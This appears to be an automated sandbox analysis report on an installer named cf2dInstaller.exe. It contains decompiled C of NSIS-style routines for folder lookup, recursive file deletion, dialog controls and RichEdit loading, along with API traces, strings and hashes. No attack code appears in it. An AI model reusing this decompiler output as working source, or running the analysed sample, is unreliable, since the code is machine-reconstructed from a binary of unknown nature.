0x00405a92
0x00405c3e
0x00405c48
0x00405c4a
0x00405c4a
0x00405c40
0x00405c42
0x00405c44
0x00405c45
0x00405c45
0x00000000
0x00405c3e
0x00405a98
0x00405a9c
0x00405aac
0x00405ab0
0x00405ab7
0x00405aba
0x00405abe
0x00405ac4
0x00405ac7
0x00405aca
0x00405acd
0x00405be8
0x00405beb
0x00405c1b
0x00405c1e
0x00405c23
0x00405c27
0x00405c27
0x00405c2c
0x00405c2d
0x00405c32
0x00405c35
0x00405c37
0x00000000
0x00405c37
0x00405bed
0x00405bf0
0x00405c05
0x00405c0c
0x00405bf2
0x00405bf9
0x00405bf9
0x00405c14
0x00405c17
0x00405be0
0x00405be1
0x00405be1
0x00000000
0x00405c17
0x00405ad5
0x00405ad6
0x00405adc
0x00405ade
0x00405af8
0x00405af8
0x00405aff
0x00405aff
0x00405b06
0x00405b0a
0x00405b0a
0x00405b0b
0x00405b0d
0x00405b46
0x00405b49
0x00405b59
0x00405b5c
0x00405b64
0x00405b6a
0x00405b6a
0x00405bc6
0x00405bc6
0x00405bc8
0x00000000
0x00000000
0x00405b6e
0x00405b75
0x00405b76
0x00405b78
0x00405b92
0x00405ba0
0x00405ba6
0x00405ba8
0x00405bc3
0x00405bc3
0x00405bc3
0x00000000
0x00405bc3
0x00405bae
0x00405bb9
0x00405bbf
0x00405bc1
0x00000000
0x00000000
0x00000000
0x00405bc1
0x00405b7a
0x00405b7d
0x00000000
0x00000000
0x00405b8c
0x00405b8e
0x00405b90
0x00000000
0x00000000
0x00000000
0x00405b90
0x00000000
0x00405bc6
0x00405b51
0x00000000
0x00405b0f
0x00405b14
0x00405b2a
0x00405b2f
0x00405b32
0x00405bcf
0x00405bcf
0x00405bd3
0x00405bdb
0x00405bdb
0x00000000
0x00405bd3
0x00405b3c
0x00405bca
0x00405bca
0x00405bcd
0x00000000
0x00000000
0x00000000
0x00405bcd
0x00405b0d
0x00405ae0
0x00405ae4
0x00000000
0x00000000
0x00405ae6
0x00405aea
0x00000000
0x00000000
0x00405aec
0x00405af0
0x00000000
0x00405af2
0x00405af2
0x00000000
0x00405af2
0x00405af0
0x00405c55
0x00405c5f
0x00405c6b
0x00405c6b
0x00000000

APIs

GetVersion.KERNEL32(00000000,004297B8,00000000,00404DE2,004297B8,00000000), ref: 00405AD6
GetSystemDirectoryA.KERNEL32(Show,00000400), ref: 00405B51
GetWindowsDirectoryA.KERNEL32(Show,00000400), ref: 00405B64
SHGetSpecialFolderLocation.SHELL32(?,0041B188), ref: 00405BA0
SHGetPathFromIDListA.SHELL32(0041B188,Show), ref: 00405BAE
CoTaskMemFree.OLE32(0041B188), ref: 00405BB9
lstrcatA.KERNEL32(Show,\Microsoft\Internet Explorer\Quick Launch), ref: 00405BDB
lstrlenA.KERNEL32(Show,00000000,004297B8,00000000,00404DE2,004297B8,00000000), ref: 00405C2D

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405B20
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405BD5
6898, xrefs: 00405C05
Show, xrefs: 00405A57, 00405B1E, 00405B3B, 00405B50, 00405B63, 00405B7F, 00405BAA, 00405BDA, 00405BE0, 00405BF8, 00405C0B, 00405C26, 00405C2C, 00405C37, 00405C61

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: 6898$Show$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3511041409
Opcode ID: f73af3ac91a899e4896d682e8efd3e1a233929407a80e01ae3e335813de0bbb0
Instruction ID: e3937826694aa96a66c9679703be47664347117baa65301e61951ea2719d1281
Opcode Fuzzy Hash: f73af3ac91a899e4896d682e8efd3e1a233929407a80e01ae3e335813de0bbb0
Instruction Fuzzy Hash: DB51F331A04B05AAEF219B689C84BBF3BB4DB15314F54423BE912B62D0D27C6D42DF4E

Uniqueness

Uniqueness Score: -1.00%

Function 00405331, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00405331(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E004055E0(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x42ebe8 =  *0x42ebe8 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E00405A0C(0x42afe8, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E00405546(_t72);
					} else {
						lstrcatA(0x42afe8, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x409010);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]);
						_t37 = FindFirstFileA(0x42afe8,  &_v332);
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E0040552A( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E00405A0C(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E004056C4(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404DAA(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x42ebe8 =  *0x42ebe8 + 1;
										} else {
											E00404DAA(0xfffffff1, _t72);
											_push(0);
											_push(_t72);
											E0040575A();
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405331(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332);
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4);
						goto L29;
					}
					__eflags =  *0x42afe8 - 0x5c;
					if( *0x42afe8 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405D07(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E004054FF(_t72);
							E004056C4(_t72);
							_t37 = RemoveDirectoryA(_t72);
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404DAA(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404DAA(0xfffffff1, _t72);
							_push(0);
							_push(_t72);
							return E0040575A();
						}
						L33:
						 *0x42ebe8 =  *0x42ebe8 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x0040533c
0x00405340
0x00405349
0x0040534c
0x0040534f
0x00405357
0x00405359
0x0040535a
0x00000000
0x0040535a
0x00405369
0x00405369
0x0040536c
0x0040536f
0x00405383
0x0040538a
0x0040538f
0x00405391
0x004053a1
0x00405393
0x00405399
0x00405399
0x004053a6
0x004053a9
0x004053b4
0x004053ba
0x004053bf
0x004053cf
0x004053d1
0x004053d7
0x004053da
0x004053dd
0x0040549a
0x0040549a
0x0040549e
0x004054a0
0x004054a0
0x004054a0
0x004054a0
0x00000000
0x00000000
0x00000000
0x00000000
0x004053e3
0x004053e3
0x004053ec
0x004053f2
0x004053f7
0x004053fa
0x004053fc
0x00405400
0x00405402
0x00405402
0x00405400
0x00405405
0x00405408
0x0040541b
0x0040541d
0x00405422
0x00405429
0x00405441
0x00405447
0x0040544d
0x0040544f
0x00405474
0x00405451
0x00405451
0x00405455
0x00405469
0x00405457
0x0040545a
0x0040545f
0x00405461
0x00405462
0x00405462
0x00405455
0x0040542b
0x00405431
0x00405433
0x00405439
0x00405439
0x00405433
0x00000000
0x00405429
0x0040540a
0x0040540d
0x0040540f
0x00000000
0x00000000
0x00405411
0x00405413
0x00000000
0x00000000
0x00405415
0x00405419
0x00000000
0x00000000
0x00000000
0x00405479
0x00405483
0x00405489
0x00405489
0x00405494
0x00000000
0x00405494
0x004053ab
0x004053b2
0x00000000
0x00000000
0x00000000
0x00405371
0x00405371
0x00405373
0x004054a4
0x004054a7
0x004054aa
0x004054fc
0x004054fc
0x004054fc
0x004054ac
0x004054af
0x004054ba
0x004054bf
0x004054c1
0x00000000
0x00000000
0x004054c4
0x004054ca
0x004054d0
0x004054d6
0x004054d8
0x00000000
0x004054f4
0x004054da
0x004054de
0x00000000
0x00000000
0x004054e3
0x004054e8
0x004054e9
0x00000000
0x004054ea
0x004054b1
0x004054b1
0x00000000
0x004054b1
0x00405379
0x0040537d
0x00000000
0x00000000
0x00000000
0x0040537d

APIs

DeleteFileA.KERNEL32(?,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 0040534F
lstrcatA.KERNEL32(0042AFE8,\*.*,0042AFE8,?,00000000,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 00405399
lstrcatA.KERNEL32(?,00409010,?,0042AFE8,?,00000000,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 004053BA
lstrlenA.KERNEL32(?,?,00409010,?,0042AFE8,?,00000000,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 004053C0
FindFirstFileA.KERNEL32(0042AFE8,?,?,?,00409010,?,0042AFE8,?,00000000,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 004053D1
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 00405483
FindClose.KERNEL32(?), ref: 00405494

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405331
\*.*, xrefs: 00405393
"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\", xrefs: 0040533B

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2804584010
Opcode ID: eeee1fe6d78b479acfa35fd6cd9b42f31f1d942e4a3e46f321804d068e117fb2
Instruction ID: 46a167c19d0f92bb62e791f7a1b0a3e0954e7dde2177130d433e16ae92940f3d
Opcode Fuzzy Hash: eeee1fe6d78b479acfa35fd6cd9b42f31f1d942e4a3e46f321804d068e117fb2
Instruction Fuzzy Hash: 84510130904A5476DB21AB218C85BFF3A68DF4231AF14813BF941752D2C77C49C2DE5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405D07, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D07(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x42c030); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x42c030;
			}

0x00405d12
0x00405d1b
0x00000000
0x00405d28
0x00405d1e
0x00000000

APIs

FindFirstFileA.KERNEL32(?,0042C030,0042B3E8,00405623,0042B3E8,0042B3E8,00000000,0042B3E8,0042B3E8,?,?,00000000,00405345,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 00405D12
FindClose.KERNEL32(00000000), ref: 00405D1E

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 0ba34ad688579e7913e3aeb04dcfdbb9c24dd4cd636fec125d72bd6057fbbed4
Instruction ID: 6bc8dc8487d68019062fb65c0caa7a5850599756ae9c65598668cc32d68c0862
Opcode Fuzzy Hash: 0ba34ad688579e7913e3aeb04dcfdbb9c24dd4cd636fec125d72bd6057fbbed4
Instruction Fuzzy Hash: C5D0123195D5309BD31017797C0C85B7A58DF293317108A33F025F22E0D3749C519AED

Uniqueness

Uniqueness Score: -1.00%

Function 02F91855, Relevance: 54.5, APIs: 21, Strings: 10, Instructions: 215
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E02F91855() {
				signed int _v8;
				long _v12;
				long _v16;
				int _v20;
				int _v24;
				int _v28;
				int _v32;
				CHAR* _v36;
				void* _v40;
				CHAR* _v44;
				int _t64;
				void* _t66;
				int _t73;
				signed int _t74;
				signed int _t75;
				int _t79;
				int _t80;
				int _t81;
				int _t82;
				int _t83;
				int _t84;
				int _t85;
				int _t86;
				void* _t87;
				int _t92;
				struct HWND__* _t95;
				void* _t100;
				CHAR* _t110;
				struct HWND__* _t111;
				signed int _t118;

				_t110 = HeapAlloc(GetProcessHeap(), 8,  *0x2f950dc +  *0x2f950dc);
				_t113 =  *0x2f950dc + _t110;
				_v44 = _t110;
				_v36 =  *0x2f950dc + _t110;
				if(_t110 == 0) {
					return E02F91E27("error");
				}
				_t64 = E02F91DD9(_t110, 0);
				__eflags = _t64;
				if(__eflags != 0) {
					L4:
					E02F91E27("error");
					_push(_t110);
					_push(0);
					_t66 = GetProcessHeap();
					goto L27;
				} else {
					L02F91FEC();
					_v12 = _t64;
					L02F91FEC();
					_v16 = _t64;
					E02F91252(__eflags,  &_v32,  &_v28,  &_v24,  &_v20);
					_t73 = E02F91DD9(_t113, 0);
					__eflags = _t73;
					if(_t73 == 0) {
						_t74 =  *0x2f950d4;
						_v8 = _t74;
						_t75 = _t74 + 1;
						_v40 = _t75;
						 *0x2f950d4 = _t75;
						 *0x2f950d8 = HeapReAlloc(GetProcessHeap(), 8,  *0x2f950d8, _t75 * 0x418);
						_t79 = lstrcmpiA(_t110, "BUTTON");
						__eflags = _t79;
						if(_t79 != 0) {
							_t80 = lstrcmpiA(_t110, "EDIT");
							__eflags = _t80;
							if(_t80 != 0) {
								_t81 = lstrcmpiA(_t110, "COMBOBOX");
								__eflags = _t81;
								if(_t81 != 0) {
									_t82 = lstrcmpiA(_t110, "LISTBOX");
									__eflags = _t82;
									if(_t82 != 0) {
										_t83 = lstrcmpiA(_t110, "RichEdit");
										__eflags = _t83;
										if(_t83 != 0) {
											_t84 = lstrcmpiA(_t110, "RICHEDIT_CLASS");
											__eflags = _t84;
											if(_t84 != 0) {
												_t85 = lstrcmpiA(_t110, "STATIC");
												__eflags = _t85;
												if(_t85 != 0) {
													_t86 = lstrcmpiA(_t110, "LINK");
													_t118 = _v8 * 0x418;
													__eflags = _t86;
													_t87 =  *0x2f950d8;
													if(_t86 != 0) {
														_t36 = _t118 + _t87 + 4;
														 *_t36 =  *(_t118 + _t87 + 4) & 0x00000000;
														__eflags =  *_t36;
													} else {
														 *(_t118 + _t87 + 4) = 8;
													}
												} else {
													_t118 = _v8 * 0x418;
													 *(_t118 +  *0x2f950d8 + 4) = 7;
												}
											} else {
												_t118 = _v8 * 0x418;
												 *(_t118 +  *0x2f950d8 + 4) = 6;
											}
										} else {
											_t118 = _v8 * 0x418;
											 *(_t118 +  *0x2f950d8 + 4) = 5;
										}
									} else {
										_t118 = _v8 * 0x418;
										 *(_t118 +  *0x2f950d8 + 4) = 4;
									}
								} else {
									_t118 = _v8 * 0x418;
									 *(_t118 +  *0x2f950d8 + 4) = 3;
								}
							} else {
								_t118 = _v8 * 0x418;
								 *(_t118 +  *0x2f950d8 + 4) = 2;
							}
						} else {
							_t118 = _v8 * 0x418;
							 *(_t118 +  *0x2f950d8 + 4) = 1;
						}
						E02F91D0C( *(_t118 +  *0x2f950d8 + 4),  &_v12,  &_v16);
						_t92 = lstrcmpiA(_t110, "LINK");
						__eflags = _t92;
						if(_t92 == 0) {
							_t110 = "BUTTON";
						}
						_t95 = CreateWindowExA(_v16, _t110, _v36, _v12, _v32, _v28, _v24, _v20,  *0x2f950c0, _v8 + 0x4b0,  *0x2f950a4, 0); // executed
						_t111 = _t95;
						 *( *0x2f950d8 + _t118) = _t111;
						SetPropA(_t111, "NSIS: nsControl pointer property", _v40); // executed
						SendMessageA(_t111, 0x30, SendMessageA( *0x2f950c4, 0x31, 0, 0), 1); // executed
						_t100 =  *0x2f950d8;
						__eflags =  *((intOrPtr*)(_t118 + _t100 + 4)) - 8;
						if( *((intOrPtr*)(_t118 + _t100 + 4)) == 8) {
							 *((intOrPtr*)(_t118 +  *0x2f950d8 + 0x414)) = SetWindowLongA(_t111, 0xfffffffc, E02F91480);
						}
						_push(_t111);
						L02F92016();
						_push(_v44);
						_push(0);
						_t66 = GetProcessHeap();
						L27:
						return HeapFree(_t66, ??, ??);
					}
					goto L4;
				}
			}

0x02f91877
0x02f91880
0x02f91883
0x02f91886
0x02f91889
0x00000000
0x02f91890
0x02f9189d
0x02f918a2
0x02f918a4
0x02f918d7
0x02f918dc
0x02f918e1
0x02f918e2
0x02f918e4
0x00000000
0x02f918a6
0x02f918a6
0x02f918ab
0x02f918ae
0x02f918b3
0x02f918c6
0x02f918ce
0x02f918d3
0x02f918d5
0x02f918eb
0x02f918f0
0x02f918f3
0x02f918f4
0x02f918f7
0x02f91920
0x02f91925
0x02f91927
0x02f91929
0x02f9194c
0x02f9194e
0x02f91950
0x02f91973
0x02f91975
0x02f91977
0x02f9199a
0x02f9199c
0x02f9199e
0x02f919c1
0x02f919c3
0x02f919c5
0x02f919e5
0x02f919e7
0x02f919e9
0x02f91a09
0x02f91a0b
0x02f91a0d
0x02f91a2d
0x02f91a32
0x02f91a38
0x02f91a3a
0x02f91a3f
0x02f91a4b
0x02f91a4b
0x02f91a4b
0x02f91a41
0x02f91a41
0x02f91a41
0x02f91a0f
0x02f91a17
0x02f91a1d
0x02f91a1d
0x02f919eb
0x02f919f3
0x02f919f9
0x02f919f9
0x02f919c7
0x02f919cf
0x02f919d5
0x02f919d5
0x02f919a0
0x02f919a8
0x02f919ae
0x02f919ae
0x02f91979
0x02f91981
0x02f91987
0x02f91987
0x02f91952
0x02f9195a
0x02f91960
0x02f91960
0x02f9192b
0x02f91933
0x02f91939
0x02f91939
0x02f91a61
0x02f91a6c
0x02f91a6e
0x02f91a70
0x02f91a72
0x02f91a72
0x02f91aa4
0x02f91aad
0x02f91aba
0x02f91abd
0x02f91add
0x02f91adf
0x02f91ae4
0x02f91ae9
0x02f91aff
0x02f91aff
0x02f91b06
0x02f91b07
0x02f91b0c
0x02f91b0f
0x02f91b11
0x02f91b17
0x00000000
0x02f91b18
0x00000000
0x02f918d5

APIs

GetProcessHeap.KERNEL32(00000008,?), ref: 02F9186E
HeapAlloc.KERNEL32(00000000), ref: 02F91871
GetProcessHeap.KERNEL32(00000000,00000000,error,00000000,00000000), ref: 02F918E4
HeapFree.KERNEL32(00000000), ref: 02F91B18

Part of subcall function 02F91E27: GlobalAlloc.KERNEL32(00000040,?,?,02F910BE,error,?,00000104), ref: 02F91E3C
Part of subcall function 02F91E27: lstrcpynA.KERNEL32(00000004,?,?,02F910BE,error,?,00000104), ref: 02F91E52

Strings

LINK, xrefs: 02F91A27, 02F91A66
NSIS: nsControl pointer property, xrefs: 02F91AB4
COMBOBOX, xrefs: 02F9196D
RichEdit, xrefs: 02F919BB
EDIT, xrefs: 02F91946
STATIC, xrefs: 02F91A03
BUTTON, xrefs: 02F9191A, 02F91A72, 02F91AA0
RICHEDIT_CLASS, xrefs: 02F919DF
error, xrefs: 02F9188B, 02F918D7
LISTBOX, xrefs: 02F91994

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: Heap$AllocProcess$FreeGloballstrcpyn
String ID: BUTTON$COMBOBOX$EDIT$LINK$LISTBOX$NSIS: nsControl pointer property$RICHEDIT_CLASS$RichEdit$STATIC$error
API String ID: 1913068523-3375361224
Opcode ID: 7b5131590f2c8fb7fcd15d199dc128f2a002105219792a2aad8043ede8b593c2
Instruction ID: bf3c2ac3a1fac0b9addcf5ed16e11a12c50c70a13bb2f7d8e719de371a0da3d5
Opcode Fuzzy Hash: 7b5131590f2c8fb7fcd15d199dc128f2a002105219792a2aad8043ede8b593c2
Instruction Fuzzy Hash: 3F817172E4030AABFF219BA4DD45F9BBBACAB04BC4F414425E70AB7150D774A8548B64

Uniqueness

Uniqueness Score: -1.00%

Function 00403555, Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403555() {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				signed int _t24;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t39;
				int _t42;
				intOrPtr _t60;
				char _t62;
				CHAR* _t64;
				signed char _t68;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				intOrPtr _t81;
				CHAR* _t86;

				_t81 =  *0x42eb70; // 0x24c6020
				_t20 = E00405D2E(6);
				_t88 = _t20;
				if(_t20 == 0) {
					_t79 = 0x429fe0;
					"1033" = 0x7830;
					E004058F3(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x429fe0, 0);
					__eflags =  *0x429fe0;
					if(__eflags == 0) {
						E004058F3(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407302, 0x429fe0, 0);
					}
					lstrcatA("1033", _t79);
				} else {
					E0040596A("1033",  *_t20() & 0x0000ffff);
				}
				E0040381E(_t76, _t88);
				_t24 =  *0x42eb78; // 0x80
				_t85 = "C:\\Users\\alfons\\AppData\\Local\\";
				 *0x42ebe0 = _t24 & 0x00000020;
				 *0x42ebfc = 0x10000;
				if(E004055E0(_t88, "C:\\Users\\alfons\\AppData\\Local\\") != 0) {
					L16:
					if(E004055E0(_t96, _t85) == 0) {
						E00405A2E(0, _t79, _t81, _t85,  *((intOrPtr*)(_t81 + 0x118))); // executed
					}
					_t28 = LoadImageA( *0x42eb60, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x42e348 = _t28;
					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E0040381E(_t76, __eflags);
							__eflags =  *0x42ec00; // 0x0
							if(__eflags != 0) {
								_t31 = E00404E7C(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42e32c; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x429fb8, 5); // executed
							_t37 = LoadLibraryA("RichEd20"); // executed
							__eflags = _t37;
							if(_t37 == 0) {
								LoadLibraryA("RichEd32");
							}
							_t86 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t86, 0x42e300);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x42e300);
								 *0x42e324 = _t86;
								RegisterClassA(0x42e300);
							}
							_t39 =  *0x42e340; // 0x0
							_t42 = DialogBoxParamA( *0x42eb60, _t39 + 0x00000069 & 0x0000ffff, 0, E004038EB, 0); // executed
